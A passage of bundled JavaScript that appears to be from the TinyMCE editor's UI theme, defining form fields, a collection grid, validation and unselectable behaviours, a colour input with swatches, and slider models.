          handler(data);
        });
      };
      const broadcast$1 = message => {
        broadcastData({
          universal: true,
          data: message
        });
      };
      const broadcastOn = (channels, message) => {
        broadcastData({
          universal: false,
          channels,
          data: message
        });
      };
      const broadcastEvent = (eventName, event) => {
        const listeners = registry.filter(eventName);
        return broadcast(listeners, event);
      };
      const getByUid = uid => registry.getById(uid).fold(() => Result.error(new Error('Could not find component with uid: "' + uid + '" in system.')), Result.value);
      const getByDom = elem => {
        const uid = read$1(elem).getOr('not found');
        return getByUid(uid);
      };
      addToWorld(root);
      return {
        root,
        element: root.element,
        destroy,
        add,
        remove,
        getByUid,
        getByDom,
        addToWorld,
        removeFromWorld,
        broadcast: broadcast$1,
        broadcastOn,
        broadcastEvent
      };
    };

    const renderBar = (spec, backstage) => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-bar',
          'tox-form__controls-h-stack'
        ]
      },
      components: map$2(spec.items, backstage.interpreter)
    });

    const schema$j = constant$1([
      defaulted('prefix', 'form-field'),
      field('fieldBehaviours', [
        Composing,
        Representing
      ])
    ]);
    const parts$d = constant$1([
      optional({
        schema: [required$1('dom')],
        name: 'label'
      }),
      optional({
        factory: {
          sketch: spec => {
            return {
              uid: spec.uid,
              dom: {
                tag: 'span',
                styles: { display: 'none' },
                attributes: { 'aria-hidden': 'true' },
                innerHtml: spec.text
              }
            };
          }
        },
        schema: [required$1('text')],
        name: 'aria-descriptor'
      }),
      required({
        factory: {
          sketch: spec => {
            const excludeFactory = exclude(spec, ['factory']);
            return spec.factory.sketch(excludeFactory);
          }
        },
        schema: [required$1('factory')],
        name: 'field'
      })
    ]);

    const factory$i = (detail, components, _spec, _externals) => {
      const behaviours = augment(detail.fieldBehaviours, [
        Composing.config({
          find: container => {
            return getPart(container, detail, 'field');
          }
        }),
        Representing.config({
          store: {
            mode: 'manual',
            getValue: field => {
              return Composing.getCurrent(field).bind(Representing.getValue);
            },
            setValue: (field, value) => {
              Composing.getCurrent(field).each(current => {
                Representing.setValue(current, value);
              });
            }
          }
        })
      ]);
      const events = derive$2([runOnAttached((component, _simulatedEvent) => {
          const ps = getParts(component, detail, [
            'label',
            'field',
            'aria-descriptor'
          ]);
          ps.field().each(field => {
            const id = generate$6(detail.prefix);
            ps.label().each(label => {
              set$9(label.element, 'for', id);
              set$9(field.element, 'id', id);
            });
            ps['aria-descriptor']().each(descriptor => {
              const descriptorId = generate$6(detail.prefix);
              set$9(descriptor.element, 'id', descriptorId);
              set$9(field.element, 'aria-describedby', descriptorId);
            });
          });
        })]);
      const apis = {
        getField: container => getPart(container, detail, 'field'),
        getLabel: container => getPart(container, detail, 'label')
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours,
        events,
        apis
      };
    };
    const FormField = composite({
      name: 'FormField',
      configFields: schema$j(),
      partFields: parts$d(),
      factory: factory$i,
      apis: {
        getField: (apis, comp) => apis.getField(comp),
        getLabel: (apis, comp) => apis.getLabel(comp)
      }
    });

    const exhibit$2 = (base, tabConfig) => nu$7({
      attributes: wrapAll([{
          key: tabConfig.tabAttr,
          value: 'true'
        }])
    });

    var ActiveTabstopping = /*#__PURE__*/Object.freeze({
        __proto__: null,
        exhibit: exhibit$2
    });

    var TabstopSchema = [defaulted('tabAttr', 'data-alloy-tabstop')];

    const Tabstopping = create$4({
      fields: TabstopSchema,
      name: 'tabstopping',
      active: ActiveTabstopping
    });

    var global$3 = tinymce.util.Tools.resolve('tinymce.html.Entities');

    const renderFormFieldWith = (pLabel, pField, extraClasses, extraBehaviours) => {
      const spec = renderFormFieldSpecWith(pLabel, pField, extraClasses, extraBehaviours);
      return FormField.sketch(spec);
    };
    const renderFormField = (pLabel, pField) => renderFormFieldWith(pLabel, pField, [], []);
    const renderFormFieldSpecWith = (pLabel, pField, extraClasses, extraBehaviours) => ({
      dom: renderFormFieldDomWith(extraClasses),
      components: pLabel.toArray().concat([pField]),
      fieldBehaviours: derive$1(extraBehaviours)
    });
    const renderFormFieldDom = () => renderFormFieldDomWith([]);
    const renderFormFieldDomWith = extraClasses => ({
      tag: 'div',
      classes: ['tox-form__group'].concat(extraClasses)
    });
    const renderLabel$2 = (label, providersBackstage) => FormField.parts.label({
      dom: {
        tag: 'label',
        classes: ['tox-label']
      },
      components: [text$2(providersBackstage.translate(label))]
    });

    const formChangeEvent = generate$6('form-component-change');
    const formCloseEvent = generate$6('form-close');
    const formCancelEvent = generate$6('form-cancel');
    const formActionEvent = generate$6('form-action');
    const formSubmitEvent = generate$6('form-submit');
    const formBlockEvent = generate$6('form-block');
    const formUnblockEvent = generate$6('form-unblock');
    const formTabChangeEvent = generate$6('form-tabchange');
    const formResizeEvent = generate$6('form-resize');

    const renderCollection = (spec, providersBackstage, initialData) => {
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const runOnItem = f => (comp, se) => {
        closest$1(se.event.target, '[data-collection-item-value]').each(target => {
          f(comp, se, target, get$f(target, 'data-collection-item-value'));
        });
      };
      const setContents = (comp, items) => {
        const htmlLines = map$2(items, item => {
          const itemText = global$8.translate(item.text);
          const textContent = spec.columns === 1 ? `<div class="tox-collection__item-label">${ itemText }</div>` : '';
          const iconContent = `<div class="tox-collection__item-icon">${ item.icon }</div>`;
          const mapItemName = {
            '_': ' ',
            ' - ': ' ',
            '-': ' '
          };
          const ariaLabel = itemText.replace(/\_| \- |\-/g, match => mapItemName[match]);
          const disabledClass = providersBackstage.isDisabled() ? ' tox-collection__item--state-disabled' : '';
          return `<div class="tox-collection__item${ disabledClass }" tabindex="-1" data-collection-item-value="${ global$3.encodeAllRaw(item.value) }" title="${ ariaLabel }" aria-label="${ ariaLabel }">${ iconContent }${ textContent }</div>`;
        });
        const chunks = spec.columns !== 'auto' && spec.columns > 1 ? chunk$1(htmlLines, spec.columns) : [htmlLines];
        const html = map$2(chunks, ch => `<div class="tox-collection__group">${ ch.join('') }</div>`);
        set$6(comp.element, html.join(''));
      };
      const onClick = runOnItem((comp, se, tgt, itemValue) => {
        se.stop();
        if (!providersBackstage.isDisabled()) {
          emitWith(comp, formActionEvent, {
            name: spec.name,
            value: itemValue
          });
        }
      });
      const collectionEvents = [
        run$1(mouseover(), runOnItem((comp, se, tgt) => {
          focus$3(tgt);
        })),
        run$1(click(), onClick),
        run$1(tap(), onClick),
        run$1(focusin(), runOnItem((comp, se, tgt) => {
          descendant(comp.element, '.' + activeClass).each(currentActive => {
            remove$2(currentActive, activeClass);
          });
          add$2(tgt, activeClass);
        })),
        run$1(focusout(), runOnItem(comp => {
          descendant(comp.element, '.' + activeClass).each(currentActive => {
            remove$2(currentActive, activeClass);
          });
        })),
        runOnExecute$1(runOnItem((comp, se, tgt, itemValue) => {
          emitWith(comp, formActionEvent, {
            name: spec.name,
            value: itemValue
          });
        }))
      ];
      const iterCollectionItems = (comp, applyAttributes) => map$2(descendants(comp.element, '.tox-collection__item'), applyAttributes);
      const pField = FormField.parts.field({
        dom: {
          tag: 'div',
          classes: ['tox-collection'].concat(spec.columns !== 1 ? ['tox-collection--grid'] : ['tox-collection--list'])
        },
        components: [],
        factory: { sketch: identity },
        behaviours: derive$1([
          Disabling.config({
            disabled: providersBackstage.isDisabled,
            onDisabled: comp => {
              iterCollectionItems(comp, childElm => {
                add$2(childElm, 'tox-collection__item--state-disabled');
                set$9(childElm, 'aria-disabled', true);
              });
            },
            onEnabled: comp => {
              iterCollectionItems(comp, childElm => {
                remove$2(childElm, 'tox-collection__item--state-disabled');
                remove$7(childElm, 'aria-disabled');
              });
            }
          }),
          receivingConfig(),
          Replacing.config({}),
          Representing.config({
            store: {
              mode: 'memory',
              initialValue: initialData.getOr([])
            },
            onSetValue: (comp, items) => {
              setContents(comp, items);
              if (spec.columns === 'auto') {
                detectSize(comp, 5, 'tox-collection__item').each(({numRows, numColumns}) => {
                  Keying.setGridSize(comp, numRows, numColumns);
                });
              }
              emit(comp, formResizeEvent);
            }
          }),
          Tabstopping.config({}),
          Keying.config(deriveCollectionMovement(spec.columns, 'normal')),
          config('collection-events', collectionEvents)
        ]),
        eventOrder: {
          [execute$5()]: [
            'disabling',
            'alloy.base.behaviour',
            'collection-events'
          ]
        }
      });
      const extraClasses = ['tox-form__group--collection'];
      return renderFormFieldWith(pLabel, pField, extraClasses, []);
    };

    const ariaElements = [
      'input',
      'textarea'
    ];
    const isAriaElement = elem => {
      const name = name$3(elem);
      return contains$2(ariaElements, name);
    };
    const markValid = (component, invalidConfig) => {
      const elem = invalidConfig.getRoot(component).getOr(component.element);
      remove$2(elem, invalidConfig.invalidClass);
      invalidConfig.notify.each(notifyInfo => {
        if (isAriaElement(component.element)) {
          set$9(component.element, 'aria-invalid', false);
        }
        notifyInfo.getContainer(component).each(container => {
          set$6(container, notifyInfo.validHtml);
        });
        notifyInfo.onValid(component);
      });
    };
    const markInvalid = (component, invalidConfig, invalidState, text) => {
      const elem = invalidConfig.getRoot(component).getOr(component.element);
      add$2(elem, invalidConfig.invalidClass);
      invalidConfig.notify.each(notifyInfo => {
        if (isAriaElement(component.element)) {
          set$9(component.element, 'aria-invalid', true);
        }
        notifyInfo.getContainer(component).each(container => {
          set$6(container, text);
        });
        notifyInfo.onInvalid(component, text);
      });
    };
    const query = (component, invalidConfig, _invalidState) => invalidConfig.validator.fold(() => Future.pure(Result.value(true)), validatorInfo => validatorInfo.validate(component));
    const run = (component, invalidConfig, invalidState) => {
      invalidConfig.notify.each(notifyInfo => {
        notifyInfo.onValidate(component);
      });
      return query(component, invalidConfig).map(valid => {
        if (component.getSystem().isConnected()) {
          return valid.fold(err => {
            markInvalid(component, invalidConfig, invalidState, err);
            return Result.error(err);
          }, v => {
            markValid(component, invalidConfig);
            return Result.value(v);
          });
        } else {
          return Result.error('No longer in system');
        }
      });
    };
    const isInvalid = (component, invalidConfig) => {
      const elem = invalidConfig.getRoot(component).getOr(component.element);
      return has(elem, invalidConfig.invalidClass);
    };

    var InvalidateApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        markValid: markValid,
        markInvalid: markInvalid,
        query: query,
        run: run,
        isInvalid: isInvalid
    });

    const events$8 = (invalidConfig, invalidState) => invalidConfig.validator.map(validatorInfo => derive$2([run$1(validatorInfo.onEvent, component => {
        run(component, invalidConfig, invalidState).get(identity);
      })].concat(validatorInfo.validateOnLoad ? [runOnAttached(component => {
        run(component, invalidConfig, invalidState).get(noop);
      })] : []))).getOr({});

    var ActiveInvalidate = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$8
    });

    var InvalidateSchema = [
      required$1('invalidClass'),
      defaulted('getRoot', Optional.none),
      optionObjOf('notify', [
        defaulted('aria', 'alert'),
        defaulted('getContainer', Optional.none),
        defaulted('validHtml', ''),
        onHandler('onValid'),
        onHandler('onInvalid'),
        onHandler('onValidate')
      ]),
      optionObjOf('validator', [
        required$1('validate'),
        defaulted('onEvent', 'input'),
        defaulted('validateOnLoad', true)
      ])
    ];

    const Invalidating = create$4({
      fields: InvalidateSchema,
      name: 'invalidating',
      active: ActiveInvalidate,
      apis: InvalidateApis,
      extra: {
        validation: validator => {
          return component => {
            const v = Representing.getValue(component);
            return Future.pure(validator(v));
          };
        }
      }
    });

    const exhibit$1 = () => nu$7({
      styles: {
        '-webkit-user-select': 'none',
        'user-select': 'none',
        '-ms-user-select': 'none',
        '-moz-user-select': '-moz-none'
      },
      attributes: { unselectable: 'on' }
    });
    const events$7 = () => derive$2([abort(selectstart(), always)]);

    var ActiveUnselecting = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$7,
        exhibit: exhibit$1
    });

    const Unselecting = create$4({
      fields: [],
      name: 'unselecting',
      active: ActiveUnselecting
    });

    const renderPanelButton = (spec, sharedBackstage) => Dropdown.sketch({
      dom: spec.dom,
      components: spec.components,
      toggleClass: 'mce-active',
      dropdownBehaviours: derive$1([
        DisablingConfigs.button(sharedBackstage.providers.isDisabled),
        receivingConfig(),
        Unselecting.config({}),
        Tabstopping.config({})
      ]),
      layouts: spec.layouts,
      sandboxClasses: ['tox-dialog__popups'],
      lazySink: sharedBackstage.getSink,
      fetch: comp => Future.nu(callback => spec.fetch(callback)).map(items => Optional.from(createTieredDataFrom(deepMerge(createPartialChoiceMenu(generate$6('menu-value'), items, value => {
        spec.onItemAction(comp, value);
      }, spec.columns, spec.presets, ItemResponse$1.CLOSE_ON_EXECUTE, never, sharedBackstage.providers), { movement: deriveMenuMovement(spec.columns, spec.presets) })))),
      parts: { menu: part(false, 1, spec.presets) }
    });

    const colorInputChangeEvent = generate$6('color-input-change');
    const colorSwatchChangeEvent = generate$6('color-swatch-change');
    const colorPickerCancelEvent = generate$6('color-picker-cancel');
    const renderColorInput = (spec, sharedBackstage, colorInputBackstage, initialData) => {
      const pField = FormField.parts.field({
        factory: Input,
        inputClasses: ['tox-textfield'],
        data: initialData,
        onSetValue: c => Invalidating.run(c).get(noop),
        inputBehaviours: derive$1([
          Disabling.config({ disabled: sharedBackstage.providers.isDisabled }),
          receivingConfig(),
          Tabstopping.config({}),
          Invalidating.config({
            invalidClass: 'tox-textbox-field-invalid',
            getRoot: comp => parentElement(comp.element),
            notify: {
              onValid: comp => {
                const val = Representing.getValue(comp);
                emitWith(comp, colorInputChangeEvent, { color: val });
              }
            },
            validator: {
              validateOnLoad: false,
              validate: input => {
                const inputValue = Representing.getValue(input);
                if (inputValue.length === 0) {
                  return Future.pure(Result.value(true));
                } else {
                  const span = SugarElement.fromTag('span');
                  set$8(span, 'background-color', inputValue);
                  const res = getRaw(span, 'background-color').fold(() => Result.error('blah'), _ => Result.value(inputValue));
                  return Future.pure(res);
                }
              }
            }
          })
        ]),
        selectOnFocus: false
      });
      const pLabel = spec.label.map(label => renderLabel$2(label, sharedBackstage.providers));
      const emitSwatchChange = (colorBit, value) => {
        emitWith(colorBit, colorSwatchChangeEvent, { value });
      };
      const onItemAction = (comp, value) => {
        memColorButton.getOpt(comp).each(colorBit => {
          if (value === 'custom') {
            colorInputBackstage.colorPicker(valueOpt => {
              valueOpt.fold(() => emit(colorBit, colorPickerCancelEvent), value => {
                emitSwatchChange(colorBit, value);
                addColor(spec.storageKey, value);
              });
            }, '#ffffff');
          } else if (value === 'remove') {
            emitSwatchChange(colorBit, '');
          } else {
            emitSwatchChange(colorBit, value);
          }
        });
      };
      const memColorButton = record(renderPanelButton({
        dom: {
          tag: 'span',
          attributes: { 'aria-label': sharedBackstage.providers.translate('Color swatch') }
        },
        layouts: {
          onRtl: () => [
            southwest$2,
            southeast$2,
            south$2
          ],
          onLtr: () => [
            southeast$2,
            southwest$2,
            south$2
          ]
        },
        components: [],
        fetch: getFetch$1(colorInputBackstage.getColors(spec.storageKey), spec.storageKey, colorInputBackstage.hasCustomColors()),
        columns: colorInputBackstage.getColorCols(spec.storageKey),
        presets: 'color',
        onItemAction
      }, sharedBackstage));
      return FormField.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components: pLabel.toArray().concat([{
            dom: {
              tag: 'div',
              classes: ['tox-color-input']
            },
            components: [
              pField,
              memColorButton.asSpec()
            ]
          }]),
        fieldBehaviours: derive$1([config('form-field-events', [
            run$1(colorInputChangeEvent, (comp, se) => {
              memColorButton.getOpt(comp).each(colorButton => {
                set$8(colorButton.element, 'background-color', se.event.color);
              });
              emitWith(comp, formChangeEvent, { name: spec.name });
            }),
            run$1(colorSwatchChangeEvent, (comp, se) => {
              FormField.getField(comp).each(field => {
                Representing.setValue(field, se.event.value);
                Composing.getCurrent(comp).each(Focusing.focus);
              });
            }),
            run$1(colorPickerCancelEvent, (comp, _se) => {
              FormField.getField(comp).each(_field => {
                Composing.getCurrent(comp).each(Focusing.focus);
              });
            })
          ])])
      });
    };

    const labelPart = optional({
      schema: [required$1('dom')],
      name: 'label'
    });
    const edgePart = name => optional({
      name: '' + name + '-edge',
      overrides: detail => {
        const action = detail.model.manager.edgeActions[name];
        return action.fold(() => ({}), a => ({
          events: derive$2([
            runActionExtra(touchstart(), (comp, se, d) => a(comp, d), [detail]),
            runActionExtra(mousedown(), (comp, se, d) => a(comp, d), [detail]),
            runActionExtra(mousemove(), (comp, se, det) => {
              if (det.mouseIsDown.get()) {
                a(comp, det);
              }
            }, [detail])
          ])
        }));
      }
    });
    const tlEdgePart = edgePart('top-left');
    const tedgePart = edgePart('top');
    const trEdgePart = edgePart('top-right');
    const redgePart = edgePart('right');
    const brEdgePart = edgePart('bottom-right');
    const bedgePart = edgePart('bottom');
    const blEdgePart = edgePart('bottom-left');
    const ledgePart = edgePart('left');
    const thumbPart = required({
      name: 'thumb',
      defaults: constant$1({ dom: { styles: { position: 'absolute' } } }),
      overrides: detail => {
        return {
          events: derive$2([
            redirectToPart(touchstart(), detail, 'spectrum'),
            redirectToPart(touchmove(), detail, 'spectrum'),
            redirectToPart(touchend(), detail, 'spectrum'),
            redirectToPart(mousedown(), detail, 'spectrum'),
            redirectToPart(mousemove(), detail, 'spectrum'),
            redirectToPart(mouseup(), detail, 'spectrum')
          ])
        };
      }
    });
    const spectrumPart = required({
      schema: [customField('mouseIsDown', () => Cell(false))],
      name: 'spectrum',
      overrides: detail => {
        const modelDetail = detail.model;
        const model = modelDetail.manager;
        const setValueFrom = (component, simulatedEvent) => model.getValueFromEvent(simulatedEvent).map(value => model.setValueFrom(component, detail, value));
        return {
          behaviours: derive$1([
            Keying.config({
              mode: 'special',
              onLeft: spectrum => model.onLeft(spectrum, detail),
              onRight: spectrum => model.onRight(spectrum, detail),
              onUp: spectrum => model.onUp(spectrum, detail),
              onDown: spectrum => model.onDown(spectrum, detail)
            }),
            Focusing.config({})
          ]),
          events: derive$2([
            run$1(touchstart(), setValueFrom),
            run$1(touchmove(), setValueFrom),
            run$1(mousedown(), setValueFrom),
            run$1(mousemove(), (spectrum, se) => {
              if (detail.mouseIsDown.get()) {
                setValueFrom(spectrum, se);
              }
            })
          ])
        };
      }
    });
    var SliderParts = [
      labelPart,
      ledgePart,
      redgePart,
      tedgePart,
      bedgePart,
      tlEdgePart,
      trEdgePart,
      blEdgePart,
      brEdgePart,
      thumbPart,
      spectrumPart
    ];

    const _sliderChangeEvent = 'slider.change.value';
    const sliderChangeEvent = constant$1(_sliderChangeEvent);
    const isTouchEvent$2 = evt => evt.type.indexOf('touch') !== -1;
    const getEventSource = simulatedEvent => {
      const evt = simulatedEvent.event.raw;
      if (isTouchEvent$2(evt)) {
        const touchEvent = evt;
        return touchEvent.touches !== undefined && touchEvent.touches.length === 1 ? Optional.some(touchEvent.touches[0]).map(t => SugarPosition(t.clientX, t.clientY)) : Optional.none();
      } else {
        const mouseEvent = evt;
        return mouseEvent.clientX !== undefined ? Optional.some(mouseEvent).map(me => SugarPosition(me.clientX, me.clientY)) : Optional.none();
      }
    };

    const t = 'top', r = 'right', b = 'bottom', l = 'left';
    const minX = detail => detail.model.minX;
    const minY = detail => detail.model.minY;
    const min1X = detail => detail.model.minX - 1;
    const min1Y = detail => detail.model.minY - 1;
    const maxX = detail => detail.model.maxX;
    const maxY = detail => detail.model.maxY;
    const max1X = detail => detail.model.maxX + 1;
    const max1Y = detail => detail.model.maxY + 1;
    const range = (detail, max, min) => max(detail) - min(detail);
    const xRange = detail => range(detail, maxX, minX);
    const yRange = detail => range(detail, maxY, minY);
    const halfX = detail => xRange(detail) / 2;
    const halfY = detail => yRange(detail) / 2;
    const step = detail => detail.stepSize;
    const snap = detail => detail.snapToGrid;
    const snapStart = detail => detail.snapStart;
    const rounded = detail => detail.rounded;
    const hasEdge = (detail, edgeName) => detail[edgeName + '-edge'] !== undefined;
    const hasLEdge = detail => hasEdge(detail, l);
    const hasREdge = detail => hasEdge(detail, r);
    const hasTEdge = detail => hasEdge(detail, t);
    const hasBEdge = detail => hasEdge(detail, b);
    const currentValue = detail => detail.model.value.get();

    const xyValue = (x, y) => ({
      x,
      y
    });
    const fireSliderChange$3 = (component, value) => {
      emitWith(component, sliderChangeEvent(), { value });
    };
    const setToTLEdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(min1X(detail), min1Y(detail)));
    };
    const setToTEdge = (edge, detail) => {
      fireSliderChange$3(edge, min1Y(detail));
    };
    const setToTEdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(halfX(detail), min1Y(detail)));
    };
    const setToTREdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(max1X(detail), min1Y(detail)));
    };
    const setToREdge = (edge, detail) => {
      fireSliderChange$3(edge, max1X(detail));
    };
    const setToREdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(max1X(detail), halfY(detail)));
    };
    const setToBREdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(max1X(detail), max1Y(detail)));
    };
    const setToBEdge = (edge, detail) => {
      fireSliderChange$3(edge, max1Y(detail));
    };
    const setToBEdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(halfX(detail), max1Y(detail)));
    };
    const setToBLEdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(min1X(detail), max1Y(detail)));
    };
    const setToLEdge = (edge, detail) => {
      fireSliderChange$3(edge, min1X(detail));
    };
    const setToLEdgeXY = (edge, detail) => {
      fireSliderChange$3(edge, xyValue(min1X(detail), halfY(detail)));
    };

    const reduceBy = (value, min, max, step) => {
      if (value < min) {
        return value;
      } else if (value > max) {
        return max;
      } else if (value === min) {
        return min - 1;
      } else {
        return Math.max(min, value - step);
      }
    };
    const increaseBy = (value, min, max, step) => {
      if (value > max) {
        return value;
      } else if (value < min) {
        return min;
      } else if (value === max) {
        return max + 1;
      } else {
        return Math.min(max, value + step);
      }
    };
    const capValue = (value, min, max) => Math.max(min, Math.min(max, value));
    const snapValueOf = (value, min, max, step, snapStart) => snapStart.fold(() => {
      const initValue = value - min;
      const extraValue = Math.round(initValue / step) * step;
      return capValue(min + extraValue, min - 1, max + 1);
    }, start => {
      const remainder = (value - start) % step;
      const adjustment = Math.round(remainder / step);
      const rawSteps = Math.floor((value - start) / step);
      const maxSteps = Math.floor((max - start) / step);
      const numSteps = Math.min(maxSteps, rawSteps + adjustment);
      const r = start + numSteps * step;
      return Math.max(start, r);
    });
    const findOffsetOf = (value, min, max) => Math.min(max, Math.max(value, min)) - min;
    const findValueOf = args => {
      const {min, max, range, value, step, snap, snapStart, rounded, hasMinEdge, hasMaxEdge, minBound, maxBound, screenRange} = args;
      const capMin = hasMinEdge ? min - 1 : min;
      const capMax = hasMaxEdge ? max + 1 : max;
      if (value < minBound) {
        return capMin;
      } else if (value > maxBound) {
        return capMax;
      } else {
        const offset = findOffsetOf(value, minBound, maxBound);
        const newValue = capValue(offset / screenRange * range + min, capMin, capMax);
        if (snap && newValue >= min && newValue <= max) {
          return snapValueOf(newValue, min, max, step, snapStart);
        } else if (rounded) {
          return Math.round(newValue);
        } else {
          return newValue;
        }
      }
    };
    const findOffsetOfValue$2 = args => {
      const {min, max, range, value, hasMinEdge, hasMaxEdge, maxBound, maxOffset, centerMinEdge, centerMaxEdge} = args;
      if (value < min) {
        return hasMinEdge ? 0 : centerMinEdge;
      } else if (value > max) {
        return hasMaxEdge ? maxBound : centerMaxEdge;
      } else {
        return (value - min) / range * maxOffset;
      }
    };

    const top = 'top', right = 'right', bottom = 'bottom', left = 'left', width = 'width', height = 'height';
    const getBounds = component => component.element.dom.getBoundingClientRect();
    const getBoundsProperty = (bounds, property) => bounds[property];
    const getMinXBounds = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, left);
    };
    const getMaxXBounds = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, right);
    };
    const getMinYBounds = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, top);
    };
    const getMaxYBounds = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, bottom);
    };
    const getXScreenRange = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, width);
    };
    const getYScreenRange = component => {
      const bounds = getBounds(component);
      return getBoundsProperty(bounds, height);
    };
    const getCenterOffsetOf = (componentMinEdge, componentMaxEdge, spectrumMinEdge) => (componentMinEdge + componentMaxEdge) / 2 - spectrumMinEdge;
    const getXCenterOffSetOf = (component, spectrum) => {
      const componentBounds = getBounds(component);
      const spectrumBounds = getBounds(spectrum);
      const componentMinEdge = getBoundsProperty(componentBounds, left);
      const componentMaxEdge = getBoundsProperty(componentBounds, right);
      const spectrumMinEdge = getBoundsProperty(spectrumBounds, left);
      return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge);
    };
    const getYCenterOffSetOf = (component, spectrum) => {
      const componentBounds = getBounds(component);
      const spectrumBounds = getBounds(spectrum);
      const componentMinEdge = getBoundsProperty(componentBounds, top);
      const componentMaxEdge = getBoundsProperty(componentBounds, bottom);
      const spectrumMinEdge = getBoundsProperty(spectrumBounds, top);
      return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge);
    };

    const fireSliderChange$2 = (spectrum, value) => {
      emitWith(spectrum, sliderChangeEvent(), { value });
    };
    const findValueOfOffset$1 = (spectrum, detail, left) => {
      const args = {
        min: minX(detail),
        max: maxX(detail),
        range: xRange(detail),
        value: left,
        step: step(detail),
        snap: snap(detail),
        snapStart: snapStart(detail),
        rounded: rounded(detail),
        hasMinEdge: hasLEdge(detail),
        hasMaxEdge: hasREdge(detail),
        minBound: getMinXBounds(spectrum),
        maxBound: getMaxXBounds(spectrum),
        screenRange: getXScreenRange(spectrum)
      };
      return findValueOf(args);
    };
    const setValueFrom$2 = (spectrum, detail, value) => {
      const xValue = findValueOfOffset$1(spectrum, detail, value);
      const sliderVal = xValue;
      fireSliderChange$2(spectrum, sliderVal);
      return xValue;
    };
    const setToMin$2 = (spectrum, detail) => {
      const min = minX(detail);
      fireSliderChange$2(spectrum, min);
    };
    const setToMax$2 = (spectrum, detail) => {
      const max = maxX(detail);
      fireSliderChange$2(spectrum, max);
    };
    const moveBy$2 = (direction, spectrum, detail) => {
      const f = direction > 0 ? increaseBy : reduceBy;
      const xValue = f(currentValue(detail), minX(detail), maxX(detail), step(detail));
      fireSliderChange$2(spectrum, xValue);
      return Optional.some(xValue);
    };
    const handleMovement$2 = direction => (spectrum, detail) => moveBy$2(direction, spectrum, detail).map(always);
    const getValueFromEvent$2 = simulatedEvent => {
      const pos = getEventSource(simulatedEvent);
      return pos.map(p => p.left);
    };
    const findOffsetOfValue$1 = (spectrum, detail, value, minEdge, maxEdge) => {
      const minOffset = 0;
      const maxOffset = getXScreenRange(spectrum);
      const centerMinEdge = minEdge.bind(edge => Optional.some(getXCenterOffSetOf(edge, spectrum))).getOr(minOffset);
      const centerMaxEdge = maxEdge.bind(edge => Optional.some(getXCenterOffSetOf(edge, spectrum))).getOr(maxOffset);
      const args = {
        min: minX(detail),
        max: maxX(detail),
        range: xRange(detail),
        value,
        hasMinEdge: hasLEdge(detail),
        hasMaxEdge: hasREdge(detail),
        minBound: getMinXBounds(spectrum),
        minOffset,
        maxBound: getMaxXBounds(spectrum),
        maxOffset,
        centerMinEdge,
        centerMaxEdge
      };
      return findOffsetOfValue$2(args);
    };
    const findPositionOfValue$1 = (slider, spectrum, value, minEdge, maxEdge, detail) => {
      const offset = findOffsetOfValue$1(spectrum, detail, value, minEdge, maxEdge);
      return getMinXBounds(spectrum) - getMinXBounds(slider) + offset;
    };
    const setPositionFromValue$2 = (slider, thumb, detail, edges) => {
      const value = currentValue(detail);
      const pos = findPositionOfValue$1(slider, edges.getSpectrum(slider), value, edges.getLeftEdge(slider), edges.getRightEdge(slider), detail);
      const thumbRadius = get$c(thumb.element) / 2;
      set$8(thumb.element, 'left', pos - thumbRadius + 'px');
    };
    const onLeft$2 = handleMovement$2(-1);
    const onRight$2 = handleMovement$2(1);
    const onUp$2 = Optional.none;
    const onDown$2 = Optional.none;
    const edgeActions$2 = {
      'top-left': Optional.none(),
      'top': Optional.none(),
      'top-right': Optional.none(),
      'right': Optional.some(setToREdge),
      'bottom-right': Optional.none(),
      'bottom': Optional.none(),
      'bottom-left': Optional.none(),
      'left': Optional.some(setToLEdge)
    };

    var HorizontalModel = /*#__PURE__*/Object.freeze({
        __proto__: null,
        setValueFrom: setValueFrom$2,
        setToMin: setToMin$2,
        setToMax: setToMax$2,
        findValueOfOffset: findValueOfOffset$1,
        getValueFromEvent: getValueFromEvent$2,
        findPositionOfValue: findPositionOfValue$1,
        setPositionFromValue: setPositionFromValue$2,
        onLeft: onLeft$2,
        onRight: onRight$2,
        onUp: onUp$2,
        onDown: onDown$2,
        edgeActions: edgeActions$2
    });

    const fireSliderChange$1 = (spectrum, value) => {
      emitWith(spectrum, sliderChangeEvent(), { value });
    };
    const findValueOfOffset = (spectrum, detail, top) => {
      const args = {
        min: minY(detail),
        max: maxY(detail),
        range: yRange(detail),
        value: top,
        step: step(detail),
        snap: snap(detail),
        snapStart: snapStart(detail),
        rounded: rounded(detail),
        hasMinEdge: hasTEdge(detail),
        hasMaxEdge: hasBEdge(detail),
        minBound: getMinYBounds(spectrum),
        maxBound: getMaxYBounds(spectrum),
        screenRange: getYScreenRange(spectrum)
      };
      return findValueOf(args);
    };
    const setValueFrom$1 = (spectrum, detail, value) => {
      const yValue = findValueOfOffset(spectrum, detail, value);
      const sliderVal = yValue;
      fireSliderChange$1(spectrum, sliderVal);
      return yValue;
    };
    const setToMin$1 = (spectrum, detail) => {
      const min = minY(detail);
      fireSliderChange$1(spectrum, min);
    };
    const setToMax$1 = (spectrum, detail) => {
      const max = maxY(detail);
      fireSliderChange$1(spectrum, max);
    };
    const moveBy$1 = (direction, spectrum, detail) => {
      const f = direction > 0 ? increaseBy : reduceBy;
      const yValue = f(currentValue(detail), minY(detail), maxY(detail), step(detail));
      fireSliderChange$1(spectrum, yValue);
